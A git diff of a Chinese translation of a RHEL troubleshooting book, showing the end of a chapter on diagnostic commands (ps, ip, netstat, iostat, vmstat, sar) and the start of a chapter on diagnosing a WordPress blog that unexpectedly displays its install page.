PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD -4 S 89 1546 1536 0 80 0 - 23516 ep_pol ? 00:00:00 qmgr -4 S 89 16711 1536 0 80 0 - 23686 ep_pol ? 00:00:00 pickup -``` - -值得注意的是,`–U`标志还可以与其他标志结合使用,以提供关于正在运行的进程的更多信息。 在前面的示例中,`-l`标志再次用于以长格式打印输出。 - -#### 通过进程 ID 打印进程 - -如果进程 ID 或 PID 已经已知,可以通过使用`–p`(进程 ID)标志进一步缩小进程列表: - -```sh -# ps -p 1236 -l -F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD -4 S 0 1236 1 0 80 0 - 20739 poll_s ? 00:00:00 sshd -``` - -当与`–L`(显示带有 LWP 列的线程)或`–m`(显示进程后的线程)标志结合使用时,这可能特别有用,这些标志用于打印进程线程。 在对多线程应用进行故障诊断时,`-L`和`-m`标志可能非常重要。 - -#### 印刷工艺具有性能信息 - -`ps`命令允许用户定制使用`-o`(用户定义的格式)标记打印的列: - -```sh -# ps -U postfix -o pid,user,pcpu,vsz,cmd - PID USER %CPU VSZ CMD - 1546 postfix 0.0 94064 qmgr -l -t unix -u -16711 postfix 0.0 94744 pickup -l -t unix -u -``` - -`–o`选项允许使用大量的自定义列。 在前面的版本中,我选择了与 top 命令中打印的选项类似的选项。 - -顶部命令是最流行的 Linux 故障诊断命令之一。 它用于显示按 CPU 使用率排序的顶级进程(默认情况下)。 在本章中,我选择省略 top 命令,因为我觉得`ps`命令比 top 命令更基本、更灵活。 随着人们对`ps`命令更加熟悉,top 命令将更容易学习和理解。 - -## 网络 - -网络是任何系统管理员的基本技能。 如果没有正确配置的网络接口,服务器的作用就很小。 本节中的命令主要用于查询网络配置和当前状态。 学习这些命令是必不可少的,因为它们不仅对故障排除有用,而且对日常设置和配置也有用。 - -### ip 显示和操纵网络设置 - -`ip`命令用于管理网络设置,例如接口的配置、路由以及基本上与网络相关的任何内容。 虽然这些通常不被认为是故障排除任务,但是`ip`命令也可以用来显示系统的网络配置。 如果不能查找路由或设备配置等网络细节,就很难排除网络相关问题。 - -下面的示例展示了使用`ip`命令识别关键网络配置设置的各种方法。 - -#### 显示指定设备的 IP 地址配置 - -使用`ip`命令的的核心之一是查找网络接口并显示其配置。 为此,我们将使用以下命令: - -```sh -# ip addr show dev enp0s3 -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP qlen 1000 - link/ether 08:00:27:6e:35:18 brd ff:ff:ff:ff:ff:ff - inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic enp0s3 - valid_lft 45083sec preferred_lft 45083sec - inet6 fe80::a00:27ff:fe6e:3518/64 scope link - valid_lft forever preferred_lft forever -``` - -在前面的`ip`命令中,提供的第一个选项`addr`(地址)用于定义我们要查找的信息类型。 第二个选项`show`告诉`ip`显示第一个选项的配置。 第三个选项`dev`(设备)后面是有关的网络接口设备; `enp0s3`。 如果省略了第三个选项,则`ip`命令将显示所有网络设备的地址配置。 - -对于那些使用过以前的 RHEL 版本的人来说,设备名称`enp0s3`可能看起来有点奇怪。 该设备遵循在`systemd`中引入的较新的网络设备命名方案。 从 RHEL 7 开始,网络设备将使用如上所述的设备名称,这些名称基于设备驱动程序和 BIOS 详细信息。 - -要了解更多关于 RHEL 7 的新命名方案,只需参考以下 URL: - -[https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Networking_Guide/ch-Consistent_Network_Device_Naming.html](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Networking_Guide/ch-Consistent_Network_Device_Naming.html) - -#### 显示路由配置 - -`ip`命令还可以显示路由配置信息。 此信息对于故障排除服务器之间的连接问题至关重要: - -```sh -# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.15 -192.168.56.0/24 dev enp0s8 proto kernel scope link src 192.168.56.101 -``` - -前面的`ip`命令使用`route`选项和`show`选项显示此服务器上定义的所有路由。 像前面的例子一样,通过添加`dev`(device)选项后跟设备名称,可以将输出限制到特定的设备: - -```sh -# ip route show dev enp0s3 -default via 10.0.2.2 proto static metric 1024 -10.0.2.0/24 proto kernel scope link src 10.0.2.15 -``` - -#### 显示指定设备的网络统计信息 - -前面的示例显示了查找当前网络配置的方法,下面的这个命令使用`-s`(统计信息)标志显示指定设备的网络统计信息: - -```sh -# ip -s link show dev enp0s3 -2: enp0s3: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000 - link/ether 08:00:27:6e:35:18 brd ff:ff:ff:ff:ff:ff - RX: bytes packets errors dropped overrun mcast - 109717927 125911 0 0 0 0 - TX: bytes packets errors dropped carrier collsns - 3944294 40127 0 0 0 0 -``` - -在前面的示例中,`link`(网络设备)选项用于指定统计信息应该限制在指定设备上。 - -在排除被丢弃的数据包或确定哪个接口具有更高的网络利用率时,所显示的统计信息非常有用。 - -### netstat -网络统计信息 - -`netstat`命令是任何系统管理员的工具带中必不可少的工具。 从以下事实可以看出,`netstat`命令是普遍可用的,甚至对于传统上不使用命令行进行管理的操作系统也是如此。 - -#### 打印网络连接 - -`netstat`的主要用途之一是打印现有的已建立的网络连接。 这可以通过简单地执行`netstat`; 然而,如果使用了`-a`(all)标志,输出还将包括监听端口: - -```sh -# netstat -na -Active Internet connections (servers and established) -Proto Recv-Q Send-Q Local Address Foreign Address State -tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:44969 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -tcp 0 0 192.168.56.101:22 192.168.56.1:50122 ESTABLISHED -tcp6 0 0 ::1:25 :::* LISTEN -``` - -前面`netstat`使用的`-a`(all)标志导致打印所有监听端口,而`-n`标志用于强制以数字格式输出,例如打印 IP 地址而不是 DNS 主机名。 - -前面的例子将在[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting")、*网络故障排除*中大量使用,在这里我们将对网络连接进行故障排除。 - -#### 打印所有监听 tcp 连接的端口 - -我见过许多服务正在运行的实例,并且可以通过`ps`命令看到; 但是,客户端要连接的端口没有绑定和侦听。 以下`netstat`命令在诊断服务的连接性问题时非常有用: - -```sh -# netstat -nlp --tcp -Active Internet connections (only servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1536/master -tcp 0 0 0.0.0.0:44969 0.0.0.0:* LISTEN 1270/rpc.statd -tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1215/rpcbind -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1236/sshd -tcp6 0 0 ::1:25 :::* LISTEN 1536/master -tcp6 0 0 :::111 :::* LISTEN 1215/rpcbind -tcp6 0 0 :::22 :::* LISTEN 1236/sshd -tcp6 0 0 :::46072 :::* LISTEN 1270/rpc.statd -``` - -前面的命令非常有用,因为它结合了三个有用的选项: - -* `–l`(listening),它告诉`netstat`只列出听力插座 -* `--tcp`,它告诉`netstat`将输出限制为 TCP 连接 -* `–p`(program),它告诉`netstat`列出在该端口上监听的进程的 PID 和名称 - -#### 延迟 - -与`netstat`一起使用的一个经常被忽略的选项是利用延迟特性。 通过在命令末尾添加一个数字,`netstat`将持续运行,并在执行之间休眠指定的秒数。 - -如果执行以下命令,`netstat`命令将每 5 秒打印一次所有正在监听的 TCP 套接字: - -```sh -# netstat -nlp --tcp 5 -``` - -在调查网络连接问题时,延迟特性非常有用。 因为它可以很容易地显示应用何时为新连接绑定端口。 - -## 性能 - -虽然我们稍微讨论了一下使用`free`和`ps`等命令对性能进行故障诊断的,但本节将展示一些非常有用的命令,它们回答了“为什么速度慢?”这个古老的问题。 - -### 一个简单的顶部式 I/O 监视器 - -`iotop`命令是 Linux 中相对较新的命令。 在以前的 RHEL 发行版中,默认情况下没有安装它。 `iotop`命令提供了一个类似命令的顶级界面,但它并没有显示哪个进程占用了最多的 CPU 时间或内存,而是按照 I/O 利用率排序显示进程: - -```sh -# iotop -Total DISK READ : 0.00 B/s | Total DISK WRITE : 0.00 B/s -Actual DISK READ: 0.00 B/s | Actual DISK WRITE: 0.00 B/s - TID PRIO USER DISK READ DISK WRITE SWAPIN IO COMMAND - 1536 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % master -w - 1 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % systemd --switched-root --system --deserialize 23 -``` - -与前面的一些命令不同,`iotop`非常专门用于显示使用 I/O 的进程。 然而,有一些非常有用的标志可以改变 iotop 的默认行为。 标志,例如`–o`(only),它告诉`iotop`只打印使用 I/O 的进程,而不是它的默认行为打印所有进程。 另一组有用的标志是`-q`(静音)和`–n`(迭代次数)。 - -与`-o`标志一起,这些标志可以用来告诉`iotop`只打印使用 I/O 的进程,而不为下一次迭代清除屏幕: - -```sh -# iotop -o -q -n2 -Total DISK READ : 0.00 B/s | Total DISK WRITE : 0.00 B/s -Actual DISK READ: 0.00 B/s | Actual DISK WRITE: 0.00 B/s - TID PRIO USER DISK READ DISK WRITE SWAPIN IO COMMAND -Total DISK READ : 0.00 B/s | Total DISK WRITE : 0.00 B/s -Actual DISK READ: 0.00 B/s | Actual DISK WRITE: 0.00 B/s -22965 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.03 % [kworker/0:3] -``` - -如果我们看一下前面的示例输出,我们可以看到`iotop`命令的两次独立迭代。 然而,与前面的示例不同的是,输出是连续的,这样我们就可以看到哪些进程在每次迭代中使用了 I/O。 - -默认情况下,`iotop`迭代之间的延迟为 1 秒; 然而,这可以通过`-d`(延迟)标志进行修改。 - -### iostat -报告 I/O 和 CPU 统计信息 - -其中`iotop`显示进程正在使用的 I/O,`iostat`显示设备正在使用的: - -```sh -# iostat -t 1 2 -Linux 3.10.0-123.el7.x86_64 (localhost.localdomain) 12/25/2014 _x86_64_ (1 CPU) - -12/25/2014 03:20:10 PM -avg-cpu: %user %nice %system %iowait %steal %idle - 0.11 0.00 0.17 0.01 0.00 99.72 - -Device: tps kB_read/s kB_wrtn/s kB_read kB_wrtn -sda 0.38 2.84 7.02 261526 646339 -sdb 0.01 0.06 0.00 5449 12 -dm-0 0.33 2.77 7.00 254948 644275 -dm-1 0.00 0.01 0.00 936 4 - -12/25/2014 03:20:11 PM -avg-cpu: %user %nice %system %iowait %steal %idle - 0.00 0.00 0.99 0.00 0.00 99.01 - -Device: tps kB_read/s kB_wrtn/s kB_read kB_wrtn -sda 0.00 0.00 0.00 0 0 -sdb 0.00 0.00 0.00 0 0 -dm-0 0.00 0.00 0.00 0 0 -dm-1 0.00 0.00 0.00 0 0 -``` - -前面的`iostat`命令使用`-t`(时间戳)标志打印每个报告的时间戳。 这两个数字是间隔和计数值。 在前面的示例中,`iostat`以一秒的间隔运行,总共有两个迭代。 - -`iostat`命令对于诊断与 I/O 相关的问题非常有用。 然而,输出结果往往具有误导性。 执行时,第一个报告中提供的值是自上次系统重新启动以来的平均值。 后续报告是上次报告之后的报告。 在本例中,我们执行了两个报告,间隔一秒。 你可以看到第一份报告中的数字比第二份报告中的要高得多。 - -由于这个原因,许多系统管理员简单地忽略了第一个报告,但他们并不完全理解其中的原因。 因此,不熟悉`iostat`的人对第一篇报告中的值做出反应的情况并不少见。 - -`iostat`命令确实有一个标志`-y`(省略第一个报告),这实际上会导致`iostat`省略第一个报告。 对于那些可能不太熟悉使用`iostat`的用户,这是一个很好的标志。 - -#### 操作输出 - -`iostat`命令还有一些非常有用的标志,这些标志允许操作其显示数据的方式。 诸如`–p`(设备)等标志允许您将统计信息限制到指定的设备,或者`–x`(扩展统计信息)将打印扩展统计信息: - -```sh -# iostat -p sda -tx -Linux 3.10.0-123.el7.x86_64 (localhost.localdomain) 12/25/2014 _x86_64_ (1 CPU) - -12/25/2014 03:38:00 PM -avg-cpu: %user %nice %system %iowait %steal %idle - 0.11 0.00 0.17 0.01 0.00 99.72 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.01 0.02 0.13 0.25 2.81 6.95 51.70 0.00 7.62 1.57 10.79 0.85 0.03 -sda1 0.00 0.00 0.02 0.02 0.05 0.02 3.24 0.00 0.24 0.42 0.06 0.23 0.00 -sda2 0.01 0.02 0.11 0.19 2.75 6.93 65.47 0.00 9.34 1.82 13.58 0.82 0.02 -``` - -上面的示例使用`-p`标志指定`sda`设备,使用`-t`标志打印时间戳,使用`-x`标志打印扩展统计信息。 在测量特定设备的 I/O 性能时,这些标志非常有用。 - -### vmstat -报告虚拟内存统计信息 - -其中`iostat`用于磁盘 I/O 性能统计,`vmstat`用于内存使用率和性能统计: - -```sh -# vmstat 1 3 -procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- - r b swpd free buff cache si so bi bo in cs us sy id wa st -2 0 4 225000 3608 544900 0 0 3 7 17 28 0 0 100 0 0 -0 0 4 224992 3608 544900 0 0 0 0 19 19 0 0 100 0 0 -0 0 4 224992 3608 544900 0 0 0 0 6 9 0 0 100 0 0 -``` - -`vmstat`语法与`iostat`非常相似,其中您将报告的间隔和计数作为命令行参数提供。 此外,与`iostat`一样,第一个报告实际上是自上次重启以来的平均值,而后续报告是自上次报告以来的平均值。 不幸的是,与`iostat`命令不同,`vmstat`命令没有包含省略第一个报告的标志。 因此,在大多数情况下,直接忽略第一份报告是恰当的。 - -虽然`vmstat`可能没有包含省略第一个报告的标志,但它确实有一些非常有用的标志; 它们是标志`–m`(slab),它导致`vmstat`以定义的间隔输出系统的`slabinfo`,以及`-s`(stats),它打印系统的内存统计信息的扩展报告: - -```sh -# vmstat -stats - 1018256 K total memory - 793416 K used memory, - 290372 K active memory - 360660 K inactive memory - 224840 K free memory - 3608 K buffer memory - 544908 K swap cache - 839676 K total swap - 4 K used swap - 839672 K free swap - 10191 non-nice user cpu ticks - 67 nice user cpu ticks - 11353 system cpu ticks - 9389547 idle cpu ticks - 556 IO-wait cpu ticks - 33 IRQ cpu ticks - 4434 softirq cpu ticks - 0 stolen cpu ticks - 267011 pages paged in - 647220 pages paged out - 0 pages swapped in - 1 pages swapped out - 1619609 interrupts - 2662083 CPU context switches - 1419453695 boot time - 59061 forks -``` - -前面的代码是使用`-s`或`--stats`标志的示例。 - -### 收集、报告或保存系统活动信息 - -一个非常有用的实用程序是`sar`命令,`sar`是与`sysstat`包一起提供的实用程序。 `sysstat`包包括收集系统指标(如磁盘、CPU、内存和网络利用率)的各种实用程序。 默认情况下,该收集将每 10 分钟运行一次,并作为`/ettc/cron.d/sysstat`中的`cron`作业执行。 - -虽然`sysstat`收集的数据非常有用,但在高性能环境中,这个包有时会被删除。 因为系统利用率统计信息的收集会增加系统的利用率,从而导致性能下降。 要查看是否安装了`sysstat`包,只需使用带有`-q`(查询)标志的 rpm 命令: - -```sh -# rpm -q sysstat -sysstat-10.1.5-4.el7.x86_64 -``` - -#### 使用 sar 命令 - -`sar`命令允许用户查看`sysstat`实用程序收集的信息。 当不带标志执行时,`sar`命令将打印当前 CPU 统计信息: - -```sh -# sar | head -6 -Linux 3.10.0-123.el7.x86_64 (localhost.localdomain) 12/25/2014 _x86_64_ (1 CPU) - -12:00:01 AM CPU %user %nice %system %iowait %steal %idle -12:10:02 AM all 0.05 0.00 0.20 0.01 0.00 99.74 -12:20:01 AM all 0.05 0.00 0.18 0.00 0.00 99.77 -12:30:01 AM all 0.06 0.00 0.25 0.00 0.00 99.69 -``` - -每天午夜,`systat`收集器将创建一个新文件来存储收集到的统计信息。 要引用该文件中的统计信息,只需使用`-f`(file)标志对指定的文件运行`sar`: - -```sh -# sar -f /var/log/sa/sa13 -Linux 3.10.0-123.el7.x86_64 (localhost.localdomain) 12/13/2014 _x86_64_ (1 CPU) - -10:24:43 AM LINUX RESTART - -10:30:01 AM CPU %user %nice %system %iowait %steal %idle -10:40:01 AM all 2.99 0.00 0.96 0.43 0.00 95.62 -10:50:01 AM all 9.70 0.00 2.17 0.00 0.00 88.13 -11:00:01 AM all 0.31 0.00 0.30 0.02 0.00 99.37 -11:10:01 AM all 1.20 0.00 0.41 0.01 0.00 98.38 -11:20:01 AM all 0.01 0.00 0.04 0.01 0.00 99.94 -11:30:01 AM all 0.92 0.07 0.42 0.01 0.00 98.59 -11:40:01 AM all 0.17 0.00 0.08 0.00 0.00 99.74 -11:50:02 AM all 0.01 0.00 0.03 0.00 0.00 99.96 -``` - -在上述代码中,指定的文件为`/var/log/sa/sa13`; 该文件包含本月 13 日的统计信息。 - -`sar`命令有许多有用的标志,太多了,本章无法一一列出。 下面列出了一些非常有用的标志: - -* `-b`:打印与`iostat`命令类似的 I/O 统计信息 -* `-n ALL`:打印所有网络设备的网络统计信息 -* `-R`:打印内存利用率统计信息 -* :打印所有收集到的数据。 它本质上相当于运行`sar -bBdHqrRSuvwWy -I SUM -I XALL -m ALL -n ALL -u ALL -P ALL` - -虽然`sar`命令显示了许多统计信息,但我们已经介绍了`iostat`或`vmstat`等命令。 `sar`命令的最大好处是能够查看过去的统计数据。 在故障排除短时间内发生的性能问题或已经缓解的性能问题时,此功能至关重要。 - -# 总结 - -在本章中,您了解了日志文件、配置文件和`/proc`文件系统是故障排除过程中的关键信息来源。 我们还介绍了许多基本故障诊断命令的基本用法。 - -在阅读本章时,您可能已经注意到,在日常生活中也有相当多的命令用于非故障排除目的。 如果我们回顾[第 1 章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices")、*故障排除最佳实践*中的故障排除过程,第一步包括信息收集。 - -虽然这些命令可能无法解释问题本身,但它们可以帮助收集有关问题的信息,从而获得更准确和更快速的解决方案。 熟悉这些基本命令对于成功进行故障排除至关重要。 - -在接下来的几章中,我们将使用这些基本命令来排除现实场景中的故障。 下一章的重点是解决基于 web 的应用的问题。* \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/03.md b/docs/rhel-troubleshoot-guide/03.md deleted file mode 100644 index f35b7628..00000000 --- a/docs/rhel-troubleshoot-guide/03.md +++ /dev/null @@ -1,1172 +0,0 @@ -# 三、Web 应用故障排除 - -在本书的第一和第二章中,我们介绍了故障排除过程、常见的信息位置和有用的故障排除命令。 在本章中,我们将运行一个已经创建的示例问题,以演示多个故障排除和补救步骤。 特别地,我们将了解对基于 web 的应用进行故障排除所需的步骤。 - -在本章中,我将介绍故障排除过程的每个步骤,并解释每个步骤背后的原因。 虽然本章所涵盖的问题可能不是一个非常普遍的问题,但是看看所使用的过程和工具是很重要的。 本章中使用的过程和工具可以应用于大多数 web 应用问题。 - -# 一个小小的背景故事 - -在本书的每一章中,您将发现一个示例问题,涵盖了常见的故障排除主题。 虽然本书的重点是展示解决这些类型的问题所需的命令和概念,但展示围绕解决这些问题的过程也很重要。 为此,我们将以最近加入新公司的新系统管理员的身份来探讨这些问题。 - -每个问题的呈现方式都略有不同,但每个问题都将以报告的一个问题开始。 - -# 报道的问题 - -当我们在新公司开始的新角色时,我们被分配到公司**网络运营中心**(**NOC**)接听电话。 在这个职位上,我们将专注于解决公司环境中的问题,并希望能够迅速解决这些问题。 对于第一期,我们接到了一个电话; 电话的另一端是遇到问题的业务用户。 *突然,我们的博客显示的是一个安装页面,而不是我们的帖子!* - -现在我们有了一个报告的问题,让我们开始进行故障排除流程。 - -# 数据收集 - -如果我们回顾在[第 1 章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices"),*故障排除最佳实践*,故障排除过程的第一步是理解问题陈述。 在本节中,我们将探讨问题是如何报告的,并将尝试收集所有能够找到问题根源的数据。 - -对于本例,我们通过电话通知了这个问题。 这实际上是幸运的,因为我们有一个终端用户在电话上,可以问问题从他/她获得更多的信息。 - -在向报告问题的人询问更多信息之前,让我们先看看已经回答了什么。 *突然,我们的博客显示的是一个安装页面,而不是我们的帖子!* - -一开始,你可能觉得这个问题陈述很模糊; 这是因为它是模糊的。 然而,在这个简单的句子中仍然有相当多的有用信息。 如果我们分析报道的问题,我们可以更好地理解这个问题。 - -* "我们的博客显示了一个安装页面" -* "突然" -* “不是我们的文章!” - -从这三个部分,我们可以假设如下: - -* 这个博客显示了一个意想不到的页面 -* 这个博客以前展示过帖子 -* 在某种程度上,这种情况发生了变化,似乎是最近发生的 - -虽然以上是一个很好的开始来确定是否存在一个问题以及它与什么有关,但它还不足以给我们提供一个假设。 - -## 问问题 - -为了阐明假说,我们需要更多的信息。 获得这一信息的一种方法是询问报告该问题的人。 为了获得更多的信息,我们将向企业用户提出以下问题: - -1. When was the last time you saw the blog working? - - 昨晚。 - -2. What is the blog's address? - - `http://blog.example.com` - -3. Did you receive any other errors? - - 不。 - -虽然以上的问题不足以识别问题,但它们确实给了我们一个起点,让我们从哪里开始寻找。 - -## 重复这个问题 - -正如前面在[第 1 章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices")中提到的,*故障排除最佳实践*查找信息的最佳方法之一是复制问题。 在这种情况下,似乎我们可以通过简单地访问提供的地址来复制问题。 - -![Duplicating the issue](img/00002.jpeg) - -在前面的屏幕截图中,我们可以看到博客的运行正如用户所描述的那样。 当我们访问提供的 URL 时,出现了一个默认的 WordPress 安装屏幕。 - -这能给我们提供任何关于问题起因的线索吗? 不,不完全是,除非我们以前见过这个问题。 虽然这可能不能告诉我们问题的原因,但它确实确认了用户报告的问题是可重现的。 这个步骤还告诉了我们正在进行故障排除的软件的名称:WordPress。 - -WordPress 是最流行的开源博客平台之一。 在本章中,假设我们没有管理 WordPress 的经验,并且需要通过在线资源找到我们需要的关于这个 web 应用的任何信息。 - -## 了解环境 - -由于我们是新的系统管理员,在这一点上,我们对环境知之甚少,这意味着我们对如何部署这个博客知之甚少。 事实上,我们甚至不知道它从哪个服务器运行。 - -### 这个博客在哪里? - -然而,我们知道的一件事是,我们公司管理的所有服务器的 ip 都在 192.168.0.0/16 子网内。 为了确定这是否是一个我们可以解决的问题,我们首先需要确定博客是否在我们公司管理的服务器上。 如果本博客不在本公司管理的服务器上,我们的故障排除选项可能有限。 - -确定博客托管位置的一种方法是简单地查找`blog.example.com`地址的 IP 地址。 - -#### 使用 nslookup 查找 ip - -查找 DNS 名称的 IP 地址有多种方式; 我们将要讨论的命令是`nslookup`命令。 要使用此命令,只需执行`nslookup`和要查找的 DNS 名称:`blog.example.com`即可。 - -```sh -$ nslookup blog.example.com -Server: 192.0.2.1 -Address: 192.0.2.1#53 - -Non-authoritative answer: -Name: blog.example.com -Address: 192.168.33.11 - -``` - -在前面的输出中,对于不熟悉`nslookup`的人来说,结果可能有点令人困惑。 - -```sh -Non-authoritative answer: -Name: blog.example.com -Address: 192.168.33.11 - -``` - -我们知道前面的信息是`nslookup`查询的结果。 这个块表示`blog.example.com`域的地址是`192.168.33.11`。 `nslookup`的第一个输出块只是告诉我们使用哪个 DNS 服务器来查找这些信息。 - -```sh -Server: 192.0.2.1 -Address: 192.0.2.1#53 - -``` - -我们可以从这个块中看到,DNS 服务器使用的是`192.0.2.1`。 - -#### 那么 ping, dig 或其他工具呢? - -我们可以使用许多命令来查找这个域的 IP 地址。 我们可以使用`dig`,`host`,甚至`ping`。 我们选择`nslookup`命令的原因是在大多数情况下,它包含在大多数操作系统中。 因此,无论您是否需要从 Windows、Mac 或 Linux 桌面查找 IP 地址,都可以使用`nslookup`命令。 - -然而,使用`nslookup`命令的一个警告是,它专门使用 DNS 来查找地址。 它不尊重`/etc/hosts`中的值或`/etc/nsswitch.conf`中指定的任何其他名称服务。 这一点我们将在后面的章节中进一步探讨; 现在,我们假设`192.168.33.11`的 IP 地址是正确的 IP 地址。 - -### 好的,它在我们的环境中; 现在怎么办呢? - -由于我们使用的是 Linux 服务器,管理该服务器最常用的方法是通过**Secure Shell**(**SSH**)。 SSH 是一种安全的网络服务,它允许用户远程访问服务器的 shell。 在本书中,我们将假设您已经熟悉通过 SSH 登录到服务器。 无论您使用 SSH 命令行客户端还是像 PuTTY 这样的桌面客户端,都假定您能够使用 SSH 登录到服务器。 - -在这个场景中,我们使用一台拥有自己 shell 环境的笔记本电脑。 要登录到我们的服务器,我们只需从终端窗口执行`ssh`命令。 - -```sh -$ ssh vagrant@blog.example.com -vagrant@blog.example.com's password: - -``` - -登录后,我们执行的第一个信息收集命令是`w`命令。 - -```sh -$ w - 18:32:17 up 2 days, 12:05, 1 user, load average: 0.11, 0.08, 0.07 -USER TTY LOGIN@ IDLE JCPU PCPU WHAT -vagrant pts/1 00:53 2.00s 0.00s 0.08s sshd: vagrant [priv] - -``` - -在[第 2 章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中,我们介绍了`w`命令,并提到它是执行的第一个命令。 我们可以在`w`命令的输出中看到相当多的有用信息。 - -从这个输出,我们可以确定以下内容: - -* 目前只有 1 个用户登录(这是我们的登录会话) -* 有问题的服务器已经上线 2 天了 -* 平均负载较低,说明正常 - -总的来说,乍一看,服务器似乎运行正常。 问题在昨晚开始的事实表明问题在两天前重启后没有开始。 由于平均负载较低,此时假设问题与系统负载无关也是安全的。 - -### 安装和运行哪些服务? - -由于我们以前从未登录过到这个服务器,而且对这个环境完全陌生,所以我们应该做的第一件事是找出在这个服务器上运行的服务。 - -因为我们从安装页面知道这个博客是一个 WordPress 博客,所以我们可以搜索谷歌关于它需要的服务。 我们可以通过使用搜索词“WordPress 安装要求”来做到这一点。 - -这个搜索字符串返回以下 URL 作为第一个结果:[https://wordpress.org/about/requirements/](https://wordpress.org/about/requirements/)。 本页面包含 WordPress 的安装要求,并列出如下: - -* PHP 5.2.4 -* MySQL 5.0 或更高版本 -* Apache 或 Nginx web 服务器 - -从我们可以访问安装页面的事实来看,我们可以假设已经安装了 web 服务器和 PHP,并且能够正常工作。 然而,验证总是比假设更好。 - -#### 验证 web 服务器 - -因为 WordPress 推荐的**Apache**或【5】Nginx web 服务器,我们首先需要确定哪些是安装,更重要的是,确定这个 WordPress 应用在使用。 - -以下是一些确定哪些 web 服务器已经安装和运行的方法: - -* 我们可以使用`rpm`来查看已安装的包 -* 我们可以使用`ps`来查看正在运行的进程 -* 我们可以简单地通过浏览器访问一个不存在的页面,并查看错误页面是否表明哪个 web 服务器正在运行 -* 我们还可以访问`/var/logs`,查看哪些日志文件存在,哪些不存在 - -所有这些方法都是有效的,并有各自的好处。 对于本例,我们将使用*第五*方法(之前没有提到),它将回答关于此服务器上的 web 服务器配置的两个问题。 - -该方法的第一步将是确定哪个进程正在侦听端口 80。 - -```sh -$ su - -# netstat -nap | grep 80 -tcp6 0 0 :::80 :::* LISTEN 952/httpd -unix 3 [ ] STREAM CONNECTED 17280 1521/master - -``` - -正如在[第 2 章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中所讨论的,`netstat`命令可以用来确定哪些端口正在使用`–na`标志。 如果我们简单地将`–p`(端口)标志添加到`netstat`,我们还可以看到哪个进程正在监听每个端口。 - -### 提示 - -为了识别哪些进程正在监听每个端口,必须使用**超级用户**级别的权限执行`netstat`命令。 因此,在执行`netstat`之前,我们使用`su`命令切换到**根用户**。 - -在本书中,任何以`$`开头的命令都以非特权用户的身份运行,而以`#`开头的命令都以根用户的身份执行。 - -端口 80 是 HTTP 请求的默认端口; 因此,如果我们回顾为复制手头的问题而执行的步骤,我们可以看到使用的地址是`http://blog.example.com`。 由于这是一个 HTTP 地址,并且没有指定不同的端口,这意味着为 WordPress 安装页面提供服务的服务正在侦听端口 80。 - -从`netstat`命令的输出中,我们可以看到进程 952 正在监听端口 80。 `netstat`输出还显示进程 952 正在运行`httpd` 二进制文件。 在 RHEL 系统上,这个`httpd`二进制文件通常是 Apache。 - -我们可以通过[第 2 章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中讨论的带有`–elf`标志的`ps`命令来验证情况是否如此。 我们还将使用`grep`命令搜索`ps`命令的输出,搜索字符串“952”: - -```sh -$ ps -elf | grep 952 -4 S root 952 1 0 80 0 - 115050 poll_s Jan11 ? 00:00:07 /usr/sbin/httpd -DFOREGROUND -5 S apache 5329 952 0 80 0 - 115050 inet_c 08:54 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND -5 S apache 5330 952 0 80 0 - 115050 inet_c 08:54 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND -5 S apache 5331 952 0 80 0 - 115050 inet_c 08:54 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND -5 S apache 5332 952 0 80 0 - 115050 inet_c 08:54 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND -5 S apache 5333 952 0 80 0 - 119196 inet_c 08:54 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND - -``` - -通过上面的输出,我们可以看到进程 952 及其子进程正在 apache**用户下运行。 这证实了正在使用的软件最有可能是 Apache,但是为了更加谨慎,我们可以执行带有`–version`标志的`httpd`二进制文件来打印 web 服务器软件的版本。** - -```sh -$ httpd -version -Server version: Apache/2.4.6 -Server built: Jul 23 2014 14:48:00 - -``` - -`httpd`二进制文件的输出表明它实际上是 Apache web 服务器,它符合 WordPress 的要求。 - -在这一点上,我们已经发现了以下事实的 web 服务器使用这个服务器: - -* web 服务器是 Apache -* Apache 进程正在运行 -* Apache 版本为 2.4.6 -* Apache 进程正在监听 80 端口 - 